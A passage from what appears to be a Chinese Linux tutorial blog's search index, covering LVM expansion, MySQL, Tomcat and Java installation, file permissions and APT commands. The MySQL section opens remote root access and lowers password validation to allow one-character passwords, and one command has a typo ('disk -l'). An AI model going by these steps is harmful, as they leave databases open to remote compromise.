分区作为一个虚拟的分区，完全占用了这个 extended 分区，原理图见下：<br><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/53A82CC632A94D21A2599C391E79EA61/1858" alt=""></p><p>因此，现在需要做的就是将 extended partition (<code>sda2</code>) 扩展到最大，然后创建一个新的 LVM logical partition (<code>sda6</code>)，用它来填满 sda2</p><h3 id="查看所有连接到电脑上的储存设备"><a href="#查看所有连接到电脑上的储存设备" class="headerlink" title="查看所有连接到电脑上的储存设备"></a>查看所有连接到电脑上的储存设备</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">disk -l |grep &#x27;/dev&#x27;</span><br></pre></td></tr></table></figure><h4 id="1-块磁盘效果图"><a href="#1-块磁盘效果图" class="headerlink" title="1 块磁盘效果图"></a>1 块磁盘效果图</h4><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/8E0985A5EA2C46C497CFC5DCB2EAD87B/1860" alt=""></p><p>2 块磁盘效果图（新增磁盘，尚未挂载）<br><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/8E87CFC5237D4B0A9E1A6A8805976569/1862" alt=""></p><h3 id="创建-sdb-分区"><a href="#创建-sdb-分区" class="headerlink" title="创建 sdb 分区"></a>创建 sdb 分区</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">fdisk /dev/sdb</span><br><span class="line">n# 新建分区</span><br><span class="line">l# 选择逻辑分区，如果没有，则首先创建扩展分区（p），然后再添加逻辑分区（硬盘：最多四个分区  P-P-P-P 或 P-P-P-E）</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/93D8E728C55248EE82F285D4F05CA1F6/1864" alt=""></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">回车</span><br><span class="line">回车</span><br><span class="line">回车</span><br><span class="line">w# 写入磁盘分区</span><br></pre></td></tr></table></figure><h3 id="格式化磁盘"><a href="#格式化磁盘" class="headerlink" title="格式化磁盘"></a>格式化磁盘</h3><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/892B518A557C4A0EB276B13C47321F53/1867" alt=""></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mkfs -t ext4 /dev/sdb1</span><br></pre></td></tr></table></figure><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/BA2F4D79A22C44E6BCFA5E65947028D4/1866" alt=""></p><h3 id="创建-PV"><a href="#创建-PV" class="headerlink" title="创建 PV"></a>创建 PV</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pvcreate /dev/sdb1</span><br></pre></td></tr></table></figure><h3 id="查看卷组"><a href="#查看卷组" class="headerlink" title="查看卷组"></a>查看卷组</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pvscan</span><br></pre></td></tr></table></figure><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/41E6D108CF2F44198EA424D347F7E837/1869" alt=""></p><h3 id="扩容-VG"><a href="#扩容-VG" class="headerlink" title="扩容 VG"></a>扩容 VG</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">vgdisplay</span><br></pre></td></tr></table></figure><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/706E617A0E414CD98E818626EB74198D/1871" alt=""></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">vgextend ubuntu-vg /dev/sdb1</span><br></pre></td></tr></table></figure><h3 id="扩容-LV"><a href="#扩容-LV" class="headerlink" title="扩容 LV"></a>扩容 LV</h3><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/7679140594AB463E83101E4BC2C55CAA/1873" alt=""></p><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/81FCD01AD5F64245BE31AABB7D422071/1875" alt=""></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 增加指定大小</span><br><span class="line">lvextend -L +30G /dev/ubuntu-vg/root</span><br><span class="line"># 按百分比扩容</span><br><span class="line">lvextend -l +100%FREE /dev/ubuntu-vg/root</span><br></pre></td></tr></table></figure><h3 id="刷新分区"><a href="#刷新分区" class="headerlink" title="刷新分区"></a>刷新分区</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">resize2fs /dev/ubuntu-vg/root</span><br></pre></td></tr></table></figure><h3 id="删除-unknown-device"><a href="#删除-unknown-device" class="headerlink" title="删除 unknown device"></a>删除 unknown device</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pvscan</span><br><span class="line">vgreduce --removemissing ubuntu-vg</span><br></pre></td></tr></table></figure><p>注意：不要卸载扩容的磁盘，可能出现丢失数据或是系统无法启动</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 安装 MySQL</title>
      <link href="/2018/08/12/linux-an-zhuang-mysql/"/>
      <url>/2018/08/12/linux-an-zhuang-mysql/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-安装-MySQL"><a href="#Linux-安装-MySQL" class="headerlink" title="Linux 安装 MySQL"></a>Linux 安装 MySQL</h1><h3 id="更新数据源"><a href="#更新数据源" class="headerlink" title="更新数据源"></a>更新数据源</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get update</span><br></pre></td></tr></table></figure><h3 id="安装-MySQL"><a href="#安装-MySQL" class="headerlink" title="安装 MySQL"></a>安装 MySQL</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get install mysql-server</span><br></pre></td></tr></table></figure><p>系统将提示您在安装过程中创建 root 密码。选择一个安全的密码，并确保你记住它，因为你以后需要它。接下来，我们将完成 MySQL 的配置。</p><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><p>因为是全新安装，您需要运行附带的安全脚本。这会更改一些不太安全的默认选项，例如远程 root 登录和示例用户。在旧版本的 MySQL 上，您需要手动初始化数据目录，但 Mysql 5.7 已经自动完成了。</p><p>运行安全脚本：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mysql_secure_installation</span><br></pre></td></tr></table></figure><p>这将提示您输入您在之前步骤中创建的 root 密码。您可以按 Y，然后 ENTER 接受所有后续问题的默认值，但是要询问您是否要更改 root 密码。您只需在之前步骤中进行设置即可，因此无需现在更改。</p><h3 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h3><p>按上边方式安装完成后，MySQL 应该已经开始自动运行了。要测试它，请检查其状态。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">lusifer@ubuntu:~$ systemctl status mysql.service</span><br><span class="line">● mysql.service - MySQL Community Server</span><br><span class="line">   Loaded: loaded (/lib/systemd/system/mysql.service; enabled; vendor preset: enabled)</span><br><span class="line">   Active: active (running) since Tue 2017-11-21 13:04:34 CST; 3min 24s ago</span><br><span class="line"> Main PID: 2169 (mysqld)</span><br><span class="line">   CGroup: /system.slice/mysql.service</span><br><span class="line">           └─2169 /usr/sbin/mysqld</span><br><span class="line"></span><br><span class="line">Nov 21 13:04:33 ubuntu systemd[1]: Starting MySQL Community Server...</span><br><span class="line">Nov 21 13:04:34 ubuntu systemd[1]: Started MySQL Community Server.</span><br></pre></td></tr></table></figure><h3 id="查看-MySQL-版本："><a href="#查看-MySQL-版本：" class="headerlink" title="查看 MySQL 版本："></a>查看 MySQL 版本：</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mysqladmin -p -u root version</span><br></pre></td></tr></table></figure><h1 id="配置远程访问"><a href="#配置远程访问" class="headerlink" title="配置远程访问"></a>配置远程访问</h1><ul><li>修改配置文件<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">nano /etc/mysql/mysql.conf.d/mysqld.cnf</span><br></pre></td></tr></table></figure></li><li>注释掉(语句前面加上 # 即可)：<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">bind-address = 127.0.0.1</span><br></pre></td></tr></table></figure></li><li>重启 MySQL<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">service mysql restart</span><br></pre></td></tr></table></figure></li><li>登录 MySQL<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mysql -u root -p</span><br></pre></td></tr></table></figure></li><li>授权 root 用户允许所有人连接<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">grant all privileges on *.* to &#x27;root&#x27;@&#x27;%&#x27; identified by &#x27;你的 mysql root 账户密码&#x27;;</span><br></pre></td></tr></table></figure></li></ul><h1 id="因弱口令无法成功授权解决步骤"><a href="#因弱口令无法成功授权解决步骤" class="headerlink" title="因弱口令无法成功授权解决步骤"></a>因弱口令无法成功授权解决步骤</h1><ul><li>查看和设置密码安全级别<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">select @@validate_password_policy;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">set global validate_password_policy=0;</span><br></pre></td></tr></table></figure></li><li>查看和设置密码长度限制<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">select @@validate_password_length;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">set global validate_password_length=1;</span><br></pre></td></tr></table></figure></li></ul><h1 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h1><h3 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">service mysql start</span><br></pre></td></tr></table></figure><h3 id="停止"><a href="#停止" class="headerlink" title="停止"></a>停止</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">service mysql stop</span><br></pre></td></tr></table></figure><h3 id="重启"><a href="#重启" class="headerlink" title="重启"></a>重启</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">service mysql restart</span><br></pre></td></tr></table></figure><h1 id="其它配置"><a href="#其它配置" class="headerlink" title="其它配置"></a>其它配置</h1><p>修改配置 <code>mysqld.cnf</code> 配置文件</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">vi /etc/mysql/mysql.conf.d/mysqld.cnf</span><br></pre></td></tr></table></figure><h3 id="配置默认字符集"><a href="#配置默认字符集" class="headerlink" title="配置默认字符集"></a>配置默认字符集</h3><p>在 <code>[mysqld]</code> 节点上增加如下配置</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[client]</span><br><span class="line">default-character-set=utf8</span><br></pre></td></tr></table></figure><p>在 <code>[mysqld]</code>节点底部增加如下配置</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">default-storage-engine=INNODB</span><br><span class="line">character-set-server=utf8</span><br><span class="line">collation-server=utf8_general_ci</span><br></pre></td></tr></table></figure><h3 id="配置忽略数据库大小写敏感"><a href="#配置忽略数据库大小写敏感" class="headerlink" title="配置忽略数据库大小写敏感"></a>配置忽略数据库大小写敏感</h3><p>在 <code>[mysqld]</code>节点底部增加如下配置</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">lower-case-table-names = 1</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Linux </tag>
            
            <tag> MySql </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 安装 Tomcat</title>
      <link href="/2018/08/12/linux-an-zhuang-tomcat/"/>
      <url>/2018/08/12/linux-an-zhuang-tomcat/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-安装-Tomcat"><a href="#Linux-安装-Tomcat" class="headerlink" title="Linux 安装 Tomcat"></a>Linux 安装 Tomcat</h1><blockquote><p>此处以 Tomcat 8.5.23 为例</p></blockquote><p>下载地址<br><a href="https://tomcat.apache.org/">https://tomcat.apache.org/</a></p><h1 id="解压缩并移动到指定目录"><a href="#解压缩并移动到指定目录" class="headerlink" title="解压缩并移动到指定目录"></a>解压缩并移动到指定目录</h1><h3 id="解压缩"><a href="#解压缩" class="headerlink" title="解压缩"></a>解压缩</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">tar -zxvf apache-tomcat-8.5.23.tar.gz</span><br></pre></td></tr></table></figure><h3 id="变更目录名"><a href="#变更目录名" class="headerlink" title="变更目录名"></a>变更目录名</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mv apache-tomcat-8.5.23 tomcat</span><br></pre></td></tr></table></figure><h3 id="移动目录"><a href="#移动目录" class="headerlink" title="移动目录"></a>移动目录</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mv tomcat/ /usr/local/</span><br></pre></td></tr></table></figure><h1 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h1><h3 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/usr/local/tomcat/bin/startup.sh</span><br></pre></td></tr></table></figure><h3 id="停止"><a href="#停止" class="headerlink" title="停止"></a>停止</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/usr/local/tomcat/bin/shutdown.sh</span><br></pre></td></tr></table></figure><h3 id="目录内执行脚本"><a href="#目录内执行脚本" class="headerlink" title="目录内执行脚本"></a>目录内执行脚本</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">./startup.sh</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Linux </tag>
            
            <tag> Tomcat </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 安装 Java</title>
      <link href="/2018/08/12/linux-an-zhuang-java/"/>
      <url>/2018/08/12/linux-an-zhuang-java/</url>
      
        <content type="html"><![CDATA[<blockquote><p>此处以 JDK 1.8.0_152 为例</p></blockquote><h1 id="解压缩并移动到指定目录"><a href="#解压缩并移动到指定目录" class="headerlink" title="解压缩并移动到指定目录"></a>解压缩并移动到指定目录</h1><h3 id="解压缩"><a href="#解压缩" class="headerlink" title="解压缩"></a>解压缩</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">tar -zxvf jdk-8u152-linux-x64.tar.gz</span><br></pre></td></tr></table></figure><h3 id="创建目录"><a href="#创建目录" class="headerlink" title="创建目录"></a>创建目录</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mkdir -p /usr/local/java</span><br></pre></td></tr></table></figure><h3 id="移动安装包"><a href="#移动安装包" class="headerlink" title="移动安装包"></a>移动安装包</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mv jdk1.8.0_152/ /usr/local/java/</span><br></pre></td></tr></table></figure><h3 id="设置所有者"><a href="#设置所有者" class="headerlink" title="设置所有者"></a>设置所有者</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">chown -R root:root /usr/local/java/</span><br></pre></td></tr></table></figure><h1 id="配置环境变量"><a href="#配置环境变量" class="headerlink" title="配置环境变量"></a>配置环境变量</h1><h3 id="配置系统环境变量"><a href="#配置系统环境变量" class="headerlink" title="配置系统环境变量"></a>配置系统环境变量</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">nano /etc/environment</span><br></pre></td></tr></table></figure><h3 id="添加如下语句"><a href="#添加如下语句" class="headerlink" title="添加如下语句"></a>添加如下语句</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">PATH=&quot;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games&quot;</span><br><span class="line">export JAVA_HOME=/usr/local/java/jdk1.8.0_152</span><br><span class="line">export JRE_HOME=/usr/local/java/jdk1.8.0_152/jre</span><br><span class="line">export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib</span><br></pre></td></tr></table></figure><h3 id="配置用户环境变量"><a href="#配置用户环境变量" class="headerlink" title="配置用户环境变量"></a>配置用户环境变量</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">nano /etc/profile</span><br></pre></td></tr></table></figure><h3 id="添加如下语句-1"><a href="#添加如下语句-1" class="headerlink" title="添加如下语句"></a>添加如下语句</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">if [ &quot;$PS1&quot; ]; then</span><br><span class="line">  if [ &quot;$BASH&quot; ] &amp;&amp; [ &quot;$BASH&quot; != &quot;/bin/sh&quot; ]; then</span><br><span class="line">    # The file bash.bashrc already sets the default PS1.</span><br><span class="line">    # PS1=&#x27;\h:\w\$ &#x27;</span><br><span class="line">    if [ -f /etc/bash.bashrc ]; then</span><br><span class="line">      . /etc/bash.bashrc</span><br><span class="line">    fi</span><br><span class="line">  else</span><br><span class="line">    if [ &quot;`id -u`&quot; -eq 0 ]; then</span><br><span class="line">      PS1=&#x27;# &#x27;</span><br><span class="line">    else</span><br><span class="line">      PS1=&#x27;$ &#x27;</span><br><span class="line">    fi</span><br><span class="line">  fi</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">export JAVA_HOME=/usr/local/java/jdk1.8.0_152</span><br><span class="line">export JRE_HOME=/usr/local/java/jdk1.8.0_152/jre</span><br><span class="line">export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib</span><br><span class="line">export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH:$HOME/bin</span><br><span class="line"></span><br><span class="line">if [ -d /etc/profile.d ]; then</span><br><span class="line">  for i in /etc/profile.d/*.sh; do</span><br><span class="line">    if [ -r $i ]; then</span><br><span class="line">      . $i</span><br><span class="line">    fi</span><br><span class="line">  done</span><br><span class="line">  unset i</span><br><span class="line">fi</span><br></pre></td></tr></table></figure><h3 id="使用户环境变量生效"><a href="#使用户环境变量生效" class="headerlink" title="使用户环境变量生效"></a>使用户环境变量生效</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">source /etc/profile</span><br></pre></td></tr></table></figure><h3 id="测试是否安装成功"><a href="#测试是否安装成功" class="headerlink" title="测试是否安装成功"></a>测试是否安装成功</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">root@UbuntuBase:/usr/local/java# java -version</span><br><span class="line">java version &quot;1.8.0_152&quot;</span><br><span class="line">Java(TM) SE Runtime Environment (build 1.8.0_152-b16)</span><br><span class="line">Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)</span><br></pre></td></tr></table></figure><h3 id="为其他用户更新用户环境变量"><a href="#为其他用户更新用户环境变量" class="headerlink" title="为其他用户更新用户环境变量"></a>为其他用户更新用户环境变量</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">su lusifer</span><br><span class="line">source /etc/profile</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 文件权限管理</title>
      <link href="/2018/08/07/linux-wen-jian-quan-xian-guan-li/"/>
      <url>/2018/08/07/linux-wen-jian-quan-xian-guan-li/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-文件权限管理"><a href="#Linux-文件权限管理" class="headerlink" title="Linux 文件权限管理"></a>Linux 文件权限管理</h1><h3 id="查看文件和目录的权限"><a href="#查看文件和目录的权限" class="headerlink" title="查看文件和目录的权限"></a>查看文件和目录的权限</h3><p>ls –al<code>使用 ls 不带参数只显示文件名称，通过ls –al</code> 可以显示文件或者目录的权限信息。</p><p><code>ls -l 文件名</code> 显示信息包括：文件类型 (<code>d</code> 目录，<code>-</code>普通文件，<code>l</code> 链接文件)，文件权限，文件的用户，文件的所属组，文件的大小，文件的创建时间，文件的名称</p><p><code>-rw-r--r-- 1 lusifer lusifer 675 Oct 26 17:20 .profile</code></p><ul><li><code>-</code>：普通文件</li><li><code>rw-</code>：说明用户 lusifer 有读写权限，没有运行权限</li><li><code>r--</code>：表示用户组 lusifer 只有读权限，没有写和运行的权限</li><li><code>r--</code>：其他用户只有读权限，没有写权限和运行的权限</li><li><table><thead><tr><th>-rw-r--r--</th><th>1</th><th>lusifer</th><th>lusifer</th><th>675</th><th>Oct 26 17:20</th><th>.profile</th></tr></thead><tbody><tr><td>文档类型及权限</td><td>连接数</td><td>文档所属用户</td><td>文档所属组</td><td>文档大小</td><td>文档最后被修改日期</td><td>文档名称</td></tr></tbody></table></li></ul><table><thead><tr><th>-</th><th>rw-</th><th>r--</th><th>r--</th></tr></thead><tbody><tr><td>文档类型</td><td>文档所有者权限（user）</td><td>文档所属用户组权限（group）</td><td>其他用户权限（other）</td></tr></tbody></table><h3 id="文档类型"><a href="#文档类型" class="headerlink" title="文档类型"></a>文档类型</h3><ul><li><code>d</code> 表示目录</li><li><code>l</code> 表示软连接</li><li><code>–</code> 表示文件</li><li><code>c</code> 表示串行端口字符设备文件</li><li><code>b</code>  表示可供存储的块设备文件<br>余下的字符 3 个字符为一组。<code>r</code>只读，<code>w</code> 可写，<code>x</code> 可执行，<code>-</code> 表示无此权限</li></ul><h3 id="连接数"><a href="#连接数" class="headerlink" title="连接数"></a>连接数</h3><p>指有多少个文件指向同一个索引节点。</p><h3 id="文档所属用户和所属组"><a href="#文档所属用户和所属组" class="headerlink" title="文档所属用户和所属组"></a>文档所属用户和所属组</h3><p>就是文档属于哪个用户和用户组。文件所属用户和组是可以更改的</p><h3 id="文档大小"><a href="#文档大小" class="headerlink" title="文档大小"></a>文档大小</h3><p>默认是 bytes</p><h1 id="更改操作权限"><a href="#更改操作权限" class="headerlink" title="更改操作权限"></a>更改操作权限</h1><h3 id="chown"><a href="#chown" class="headerlink" title="chown"></a>chown</h3><p>是 change owner 的意思，主要作用就是改变文件或者目录所有者，所有者包含用户和用户组</p><p><code>chown [-R] 用户名称 文件或者目录</code></p><p><code>chown [-R] 用户名称 用户组名称 文件或目录</code>  </p><p>-R：进行递归式的权限更改，将目录下的所有文件、子目录更新为指定用户组权限</p><h3 id="chmod"><a href="#chmod" class="headerlink" title="chmod"></a>chmod</h3><p>改变访问权限</p><p><code>chmod [who] [+ | - | =] [mode] 文件名</code></p><h3 id="who"><a href="#who" class="headerlink" title="who"></a>who</h3><p>表示操作对象可以是以下字母的一个或者组合</p><ul><li>u：用户 user</li><li>g：用户组 group</li><li>o：表示其他用户</li><li>a：表示所有用户是系统默认的<h3 id="操作符号"><a href="#操作符号" class="headerlink" title="操作符号"></a>操作符号</h3></li><li>+：表示添加某个权限</li><li>-：表示取消某个权限</li><li>=：赋予给定的权限，取消文档以前的所有权限<h3 id="mode"><a href="#mode" class="headerlink" title="mode"></a>mode</h3>表示可执行的权限，可以是 r、w、x</li></ul><h3 id="文件名"><a href="#文件名" class="headerlink" title="文件名"></a>文件名</h3><p>文件名可以使空格分开的文件列表</p><h3 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">lusifer@UbuntuBase:~$ ls -al test.txt </span><br><span class="line">-rw-rw-r-- 1 lusifer lusifer 6 Nov  2 21:47 test.txt</span><br><span class="line">lusifer@UbuntuBase:~$ chmod u=rwx,g+r,o+r test.txt </span><br><span class="line">lusifer@UbuntuBase:~$ ls -al test.txt </span><br><span class="line">-rwxrw-r-- 1 lusifer lusifer 6 Nov  2 21:47 test.txt</span><br><span class="line">lusifer@UbuntuBase:~$</span><br></pre></td></tr></table></figure><h3 id="数字设定法"><a href="#数字设定法" class="headerlink" title="数字设定法"></a>数字设定法</h3><p>数字设定法中数字表示的含义</p><ul><li>0 表示没有任何权限</li><li>1 表示有可执行权限 = x</li><li>2 表示有可写权限 = w</li><li>4 表示有可读权限 = r<br>也可以用数字来表示权限如 chmod 755 file_name</li></ul><table><thead><tr><th>r w x</th><th>r – x</th><th>r - x</th></tr></thead><tbody><tr><td>4 2 1</td><td>4 - 1</td><td>4 - 1</td></tr><tr><td>user</td><td>group</td><td>others</td></tr></tbody></table><p>若要 rwx 属性则 4+2+1=7</p><p>若要 rw- 属性则 4+2=6</p><p>若要 r-x 属性则 4+1=5</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">lusifer@UbuntuBase:~$ chmod 777 test.txt </span><br><span class="line">lusifer@UbuntuBase:~$ ls -al test.txt </span><br><span class="line">-rwxrwxrwx 1 lusifer lusifer 6 Nov  2 21:47 test.txt</span><br><span class="line"></span><br><span class="line">lusifer@UbuntuBase:~$ chmod 770 test.txt </span><br><span class="line">lusifer@UbuntuBase:~$ ls -al test.txt </span><br><span class="line">-rwxrwx--- 1 lusifer lusifer 6 Nov  2 21:47 test.txt</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux软件包管理</title>
      <link href="/2018/08/05/linux-ruan-jian-bao-guan-li/"/>
      <url>/2018/08/05/linux-ruan-jian-bao-guan-li/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-软件包管理"><a href="#Linux-软件包管理" class="headerlink" title="Linux 软件包管理"></a>Linux 软件包管理</h1><p>APT(Advanced Packaging Tool) 是 Debian/Ubuntu 类 Linux 系统中的软件包管理程序, 使用它可以找到想要的软件包, 而且安装、卸载、更新都很简便；也可以用来对 Ubuntu 进行升级; APT 的源文件为 <code>/etc/apt/</code> 目录下的<code>sources.list</code>文件。</p><h1 id="修改数据源"><a href="#修改数据源" class="headerlink" title="修改数据源"></a>修改数据源</h1><p>由于国内的网络环境问题，我们需要将 Ubuntu 的数据源修改为国内数据源，操作步骤如下：</p><h3 id="查看系统版本"><a href="#查看系统版本" class="headerlink" title="查看系统版本"></a>查看系统版本</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">lsb_release -a</span><br></pre></td></tr></table></figure><p>输出结果为</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">No LSB modules are available.</span><br><span class="line">Distributor ID:Ubuntu</span><br><span class="line">Description:Ubuntu 16.04 LTS</span><br><span class="line">Release:16.04</span><br><span class="line">Codename:xenial</span><br></pre></td></tr></table></figure><p>注意： Codename 为 <code>xenial</code>，该名称为我们 Ubuntu 系统的名称，修改数据源需要用到该名称</p><h3 id="编辑数据源"><a href="#编辑数据源" class="headerlink" title="编辑数据源"></a>编辑数据源</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">vi /etc/apt/sources.list</span><br></pre></td></tr></table></figure><p>删除全部内容并修改为</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse</span><br><span class="line">deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse</span><br><span class="line">deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse</span><br><span class="line">deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse</span><br></pre></td></tr></table></figure><h3 id="更新数据源"><a href="#更新数据源" class="headerlink" title="更新数据源"></a>更新数据源</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get update</span><br></pre></td></tr></table></figure><h3 id="常用-APT-命令"><a href="#常用-APT-命令" class="headerlink" title="常用 APT 命令"></a>常用 APT 命令</h3><p>安装软件包</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get install packagename</span><br></pre></td></tr></table></figure><p>删除软件包</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get remove packagename</span><br></pre></td></tr></table></figure><p>更新软件包列表</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get update</span><br></pre></td></tr></table></figure><p>升级有可用更新的系统（慎用）</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get upgrade</span><br></pre></td></tr></table></figure><h1 id="其它-APT-命令"><a href="#其它-APT-命令" class="headerlink" title="其它 APT 命令"></a>其它 APT 命令</h1><p>搜索</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-cache search package</span><br></pre></td></tr></table></figure><p>获取包信息</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-cache show package</span><br></pre></td></tr></table></figure><p>删除包及配置文件</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get remove package --purge</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>了解使用依赖</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-cache depends package</span><br></pre></td></tr></table></figure><p>查看被哪些包依赖</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-cache rdepends package</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>安装相关的编译环境</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get build-dep package</span><br></pre></td></tr></table></figure><p>下载源代码</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get source package</span><br></pre></td></tr></table></figure><p>清理无用的包</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get clean &amp;&amp; apt-get 